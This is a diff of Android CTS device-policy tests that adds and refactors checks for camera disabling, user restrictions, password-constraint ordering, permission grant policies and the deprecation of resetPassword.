+ public void testSetAndGetCameraDisabled_onParent() {
+ mParentDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, true);
+ boolean actualDisabled =
+ mParentDevicePolicyManager.getCameraDisabled(ADMIN_RECEIVER_COMPONENT);
+
+ assertThat(actualDisabled).isTrue();
+
+ mParentDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, false);
+ actualDisabled = mParentDevicePolicyManager.getCameraDisabled(ADMIN_RECEIVER_COMPONENT);
+
+ assertThat(actualDisabled).isFalse();
+ // TODO: (145604715) test camera is actually disabled
+ }
+
+ public void testAddGetAndClearUserRestriction_onParent() {
+ mParentDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
+ UserManager.DISALLOW_CONFIG_DATE_TIME);
+
+ Bundle restrictions = mParentDevicePolicyManager.getUserRestrictions(
+ ADMIN_RECEIVER_COMPONENT);
+ assertThat(restrictions.get(UserManager.DISALLOW_CONFIG_DATE_TIME)).isNotNull();
+
+ restrictions = mDevicePolicyManager.getUserRestrictions(ADMIN_RECEIVER_COMPONENT);
+ assertThat(restrictions.get(UserManager.DISALLOW_CONFIG_DATE_TIME)).isNull();
+
+ mParentDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
+ UserManager.DISALLOW_CONFIG_DATE_TIME);
+
+ restrictions = mParentDevicePolicyManager.getUserRestrictions(ADMIN_RECEIVER_COMPONENT);
+ assertThat(restrictions.get(UserManager.DISALLOW_CONFIG_DATE_TIME)).isNull();
+ }
+
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
new file mode 100644
index 0000000..f9ce726
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
+import static org.testng.Assert.assertThrows;
+
+/**
+ * Class that tests password constraints API preconditions.
+ */
+public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+ private static final int TEST_VALUE = 5;
+ private static final int DEFAULT_NUMERIC = 1;
+ private static final int DEFAULT_LETTERS = 1;
+ private static final int DEFAULT_UPPERCASE = 0;
+ private static final int DEFAULT_LOWERCASE = 0;
+ private static final int DEFAULT_NON_LETTER = 0;
+ private static final int DEFAULT_SYMBOLS = 1;
+ private static final int DEFAULT_LENGTH = 0;
+
+ public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
+ // Pre-R password restrictions can be set in any order.
+ mDevicePolicyManager.setPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+ // These shouldn't throw.
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+
+ // Make sure these values are preserved and not reset when quality is set low.
+ mDevicePolicyManager.setPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+ // On R and above quality should be set first.
+ mDevicePolicyManager.setPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ }
+
+ public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+ // On R and above quality should be set first.
+ mDevicePolicyManager.setPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+
+ // This should be allowed now.
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+
+ // These are still not allowed.
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+ .setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+ }
+
+ public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+ // On R and above when quality is lowered, irrelevant requirements are getting reset.
+ mDevicePolicyManager.setPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+ // These shouldn't throw anymore
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+
+ // Downgrade to NUMERIC, only length makes sense after that.
+ mDevicePolicyManager.setPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+
+ // Length shouldn't be reset
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+
+ // But other requirements should.
+ assertEquals(DEFAULT_NUMERIC,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LETTERS,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_UPPERCASE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LOWERCASE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_NON_LETTER,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_SYMBOLS,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+ // Downgrade to SOMETHING.
+ mDevicePolicyManager.setPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+ // Now length should also be reset.
+ assertEquals(DEFAULT_LENGTH,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 276e27a..fd69c57 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -15,6 +15,9 @@
*/
package com.android.cts.deviceandprofileowner;
+import static android.Manifest.permission.READ_CONTACTS;
+import static android.Manifest.permission.WRITE_CONTACTS;
+
import android.app.AppOpsManager;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -47,7 +50,6 @@
= "com.android.cts.permissionapp";
private static final String SIMPLE_PRE_M_APP_PACKAGE_NAME =
"com.android.cts.launcherapps.simplepremapp";
- private static final String PERMISSION_NAME = "android.permission.READ_CONTACTS";
private static final String CUSTOM_PERM_A_NAME = "com.android.cts.permissionapp.permA";
private static final String CUSTOM_PERM_B_NAME = "com.android.cts.permissionapp.permB";
private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
@@ -108,7 +110,7 @@
}
if (mContext.getSystemService(AppOpsManager.class).noteProxyOpNoThrow(
- AppOpsManager.permissionToOp(permission), packageName, uid)
+ AppOpsManager.permissionToOp(permission), packageName, uid, null, null)
!= AppOpsManager.MODE_ALLOWED) {
return PERMISSION_DENIED_APP_OP;
}
@@ -183,11 +185,19 @@
assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
}
+ public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+ // set policy to autogrant
+ assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
+ // both permissions should be granted
+ assertPermissionRequest(READ_CONTACTS, PackageManager.PERMISSION_GRANTED);
+ assertPermissionRequest(WRITE_CONTACTS, PackageManager.PERMISSION_GRANTED);
+ }
+
public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted() throws Exception {
- assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED,
- CUSTOM_PERM_A_NAME);
- assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED,
- CUSTOM_PERM_B_NAME);
+ assertSetPermissionGrantState(CUSTOM_PERM_A_NAME,
+ DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+ assertSetPermissionGrantState(CUSTOM_PERM_B_NAME,
+ DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
/*
* CUSTOM_PERM_A_NAME and CUSTOM_PERM_B_NAME are in the same permission group and one is
@@ -196,7 +206,7 @@
* It should not be possible to get the permission that was denied via policy granted by
* requesting it.
*/
- assertPermissionRequest(PackageManager.PERMISSION_DENIED, null, CUSTOM_PERM_B_NAME);
+ assertPermissionRequest(CUSTOM_PERM_B_NAME, PackageManager.PERMISSION_DENIED);
}
@Suppress // Flakey.
@@ -224,14 +234,14 @@
public void testPermissionUpdate_setDeniedState() throws Exception {
assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+ PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
}
public void testPermissionUpdate_setAutoDeniedPolicy() throws Exception {
assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+ PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
assertPermissionRequest(PackageManager.PERMISSION_DENIED);
@@ -244,14 +254,14 @@
public void testPermissionUpdate_setGrantedState() throws Exception {
assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+ PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
}
public void testPermissionUpdate_setAutoGrantedPolicy() throws Exception {
assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PERMISSION_APP_PACKAGE_NAME, PERMISSION_NAME),
+ PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
@@ -288,14 +298,35 @@
}
private void assertPermissionRequest(int expected) throws Exception {
- assertPermissionRequest(expected, null);
+ assertPermissionRequest(READ_CONTACTS, expected);
}
- private void assertPermissionRequest(int expected, String buttonResource) throws Exception {
- assertPermissionRequest(expected, buttonResource, PERMISSION_NAME);
+ private void assertPermissionRequest(String permission, int expected) throws Exception {
+ assertPermissionRequest(permission, expected, null);
}
- private void assertPermissionRequest(int expected, String buttonResource, String permission)
+ private void assertPermissionRequest(int expected, String buttonResource)
+ throws Exception {
+ assertPermissionRequest(READ_CONTACTS, expected, buttonResource);
+ }
+
+ private void assertSetPermissionGrantState(int value) throws Exception {
+ assertSetPermissionGrantState(READ_CONTACTS, value);
+ }
+
+ private void assertPermissionGrantState(int expected) throws Exception {
+ assertPermissionGrantState(READ_CONTACTS, expected);
+ }
+
+ private void assertCannotSetPermissionGrantStateAppPreM(int value) throws Exception {
+ assertCannotSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
+ }
+
+ private void assertCanSetPermissionGrantStateAppPreM(int value) throws Exception {
+ assertCanSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
+ }
+
+ private void assertPermissionRequest(String permission, int expected, String buttonResource)
throws Exception {
Intent launchIntent = new Intent();
launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
@@ -310,13 +341,13 @@
PERMISSION_APP_PACKAGE_NAME));
}
- private void assertPermissionGrantState(int expected) throws Exception {
- assertEquals(expected, mPackageManager.checkPermission(PERMISSION_NAME,
+ private void assertPermissionGrantState(String permission, int expected) throws Exception {
+ assertEquals(expected, mPackageManager.checkPermission(permission,
PERMISSION_APP_PACKAGE_NAME));
Intent launchIntent = new Intent();
launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
PERMISSIONS_ACTIVITY_NAME));
- launchIntent.putExtra(EXTRA_PERMISSION, PERMISSION_NAME);
+ launchIntent.putExtra(EXTRA_PERMISSION, permission);
launchIntent.setAction(ACTION_CHECK_HAS_PERMISSION);
launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
mContext.startActivity(launchIntent);
@@ -330,10 +361,7 @@
value);
}
- private void assertSetPermissionGrantState(int value) throws Exception {
- assertSetPermissionGrantState(value, PERMISSION_NAME);
- }
- private void assertSetPermissionGrantState(int value, String permission) throws Exception {
+ private void assertSetPermissionGrantState(String permission, int value) throws Exception {
mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
PERMISSION_APP_PACKAGE_NAME, permission,
value);
@@ -353,32 +381,32 @@
PackageManager.PERMISSION_DENIED);
}
- private void assertCannotSetPermissionGrantStateAppPreM(int value) throws Exception {
+ private void assertCannotSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME,
+ SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
value));
assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME),
+ SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
// Install time permissions should always be granted
PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
SIMPLE_PRE_M_APP_PACKAGE_NAME, 0);
assertEquals(PERMISSION_GRANTED,
- checkPermission(PERMISSION_NAME, packageInfo.applicationInfo.uid,
+ checkPermission(permission, packageInfo.applicationInfo.uid,
SIMPLE_PRE_M_APP_PACKAGE_NAME));
}
- private void assertCanSetPermissionGrantStateAppPreM(int value) throws Exception {
+ private void assertCanSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME,
+ SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
value));
assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME),
+ SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
value);
// Install time permissions should always be granted
- assertEquals(mPackageManager.checkPermission(PERMISSION_NAME,
+ assertEquals(mPackageManager.checkPermission(permission,
SIMPLE_PRE_M_APP_PACKAGE_NAME),
PackageManager.PERMISSION_GRANTED);
@@ -387,7 +415,7 @@
// For pre-M apps the access to the data might be prevented via app-ops. Hence check that
// they are correctly set
- boolean isGranted = (checkPermission(PERMISSION_NAME, packageInfo.applicationInfo.uid,
+ boolean isGranted = (checkPermission(permission, packageInfo.applicationInfo.uid,
SIMPLE_PRE_M_APP_PACKAGE_NAME) == PERMISSION_GRANTED);
switch (value) {
case DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED:
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RelinquishDeviceTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RelinquishDeviceTest.java
new file mode 100644
index 0000000..530ff63
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RelinquishDeviceTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.test.AndroidTestCase;
+
+public class RelinquishDeviceTest extends AndroidTestCase {
+ private final static String DUMMY_OWNER_INFO = "some info";
+
+ public static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
+ BaseDeviceAdminTest.BasicAdminReceiver.class.getPackage().getName(),
+ BaseDeviceAdminTest.BasicAdminReceiver.class.getName());
+
+ private DevicePolicyManager mDevicePolicyManager;
+
+ public void testRelinquishDeviceWhenHasRestriction() {
+ mDevicePolicyManager = (DevicePolicyManager)
+ mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+
+ mDevicePolicyManager.setDeviceOwnerLockScreenInfo(
+ ADMIN_RECEIVER_COMPONENT, DUMMY_OWNER_INFO);
+ assertThat(mDevicePolicyManager.getDeviceOwnerLockScreenInfo()).isEqualTo(DUMMY_OWNER_INFO);
+
+ mDevicePolicyManager.wipeData(0);
+ assertThat(mDevicePolicyManager.getDeviceOwnerLockScreenInfo()).isNull();
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
index 5f16337..c660309 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
@@ -15,78 +15,34 @@
*/
package com.android.cts.deviceandprofileowner;
-import android.util.Log;
+import android.os.Build;
-import java.lang.IllegalStateException;
/**
* Test cases for {@link android.app.admin.DevicePolicyManager#resetPassword(String, int)}.
*
- * As of O, resetPassword is only accessible to DPCs targeting Sdk level before O, so this
- * is exercised by CtsDeviceAndProfileOwnerApp25 only.
+ * As of R, resetPassword is fully deprecated: DPCs targeting Sdk level O or above will continue
+ * to receive a SecurityException when calling this, while DPC targeting N or below will just get
+ * a silent failure of API returning {@code false}. This class tests these two negative cases.
*
- * <p>These tests verify that the device password:
- * <ul>
- * <li>can be created, changed and cleared when FBE is not locked, and
- * <li>cannot be changed or cleared when FBE is locked.
- * </ul>
*/
public class ResetPasswordTest extends BaseDeviceAdminTest {
- private static final String TAG = "ResetPasswordTest";
-
- private static final String PASSWORD_1 = "12345";
- private static final String PASSWORD_2 = "12345abcdef!!##1";
-
- /**
- * Test: a Device Owner or (un-managed) Profile Owner can create, change and remove a password.
- */
- public void testResetPassword() {
+ public void testResetPasswordDeprecated() {
waitUntilUserUnlocked();
- testResetPasswordEnabled(true, true);
- }
- /**
- * Test: a managed Profile Owner can create and change, but not remove, a password.
- */
- public void testResetPasswordManagedProfile() {
- waitUntilUserUnlocked();
- testResetPasswordEnabled(true, false);
- }
+ if (getTargetSdkLevel() >= Build.VERSION_CODES.O) {
+ try {
+ mDevicePolicyManager.resetPassword("1234", 0);
+ fail("resetPassword() should throw SecurityException");
+ } catch (SecurityException e) { }
- /**
- * Test: a Device Owner or Profile Owner (managed or un-managed) cannot change or remove the
- * password when FBE is locked.
- */
- public void testResetPasswordDisabled() throws Exception {
- assertFalse("Failed to lock FBE", mUserManager.isUserUnlocked());
- testResetPasswordEnabled(false, false);
- }
-
- private void testResetPasswordEnabled(boolean canChange, boolean canRemove) {
- try {
- assertResetPasswordEnabled(canChange, PASSWORD_1);
- assertResetPasswordEnabled(canChange, PASSWORD_2);
- } finally {
- assertResetPasswordEnabled(canRemove, "");
- }
- }
-
- private void assertResetPasswordEnabled(boolean enabled, String password) {
- boolean passwordChanged;
- try {
- passwordChanged = mDevicePolicyManager.resetPassword(password, 0);
- } catch (IllegalStateException | SecurityException e) {
- passwordChanged = false;
- if (enabled) {
- Log.d(TAG, e.getMessage(), e);
- }
- }
-
- if (enabled) {
- assertTrue("Failed to change password", passwordChanged);
} else {
- assertFalse("Failed to prevent password change", passwordChanged);
+ assertFalse(mDevicePolicyManager.resetPassword("1234", 0));
}
}
+
+ private int getTargetSdkLevel() {
+ return mContext.getApplicationContext().getApplicationInfo().targetSdkVersion;
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 72f01aa..7ab2e9d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -154,26 +154,6 @@
assertPasswordSucceeds("1234", caseDescription);
assertPasswordSucceeds("abcd", caseDescription); // can't change.
assertPasswordSucceeds("abcd1234", caseDescription);
-
- mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 10);
- caseDescription = "minimum password length = 10";
- assertEquals(10, mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
- assertPasswordSufficiency(true); // length not checked for this quality
-
- // TODO(ascull): fix resetPassword() logic so these succeed
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("abcd", caseDescription);
- assertPasswordFails("abcd1234", caseDescription);
-
- mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
- caseDescription = "minimum password length = 4";
- assertEquals(4, mDevicePolicyManager.getPasswordMinimumLength(
- ADMIN_RECEIVER_COMPONENT));
- assertPasswordSufficiency(true);
-
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
}
public void testPasswordQuality_numeric() {
@@ -527,7 +507,6 @@
// First remove device lock
mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
- mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
TOKEN0, 0));
@@ -557,7 +536,14 @@
}
private void resetComplexPasswordRestrictions() {
+ final int quality = mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+ if (quality < PASSWORD_QUALITY_NUMERIC) {
+ return;
+ }
mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
+ if (quality < PASSWORD_QUALITY_COMPLEX) {
+ return;
+ }
mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, 0);
mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, 0);
mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 0);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
index f3584f4..6e92dda 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
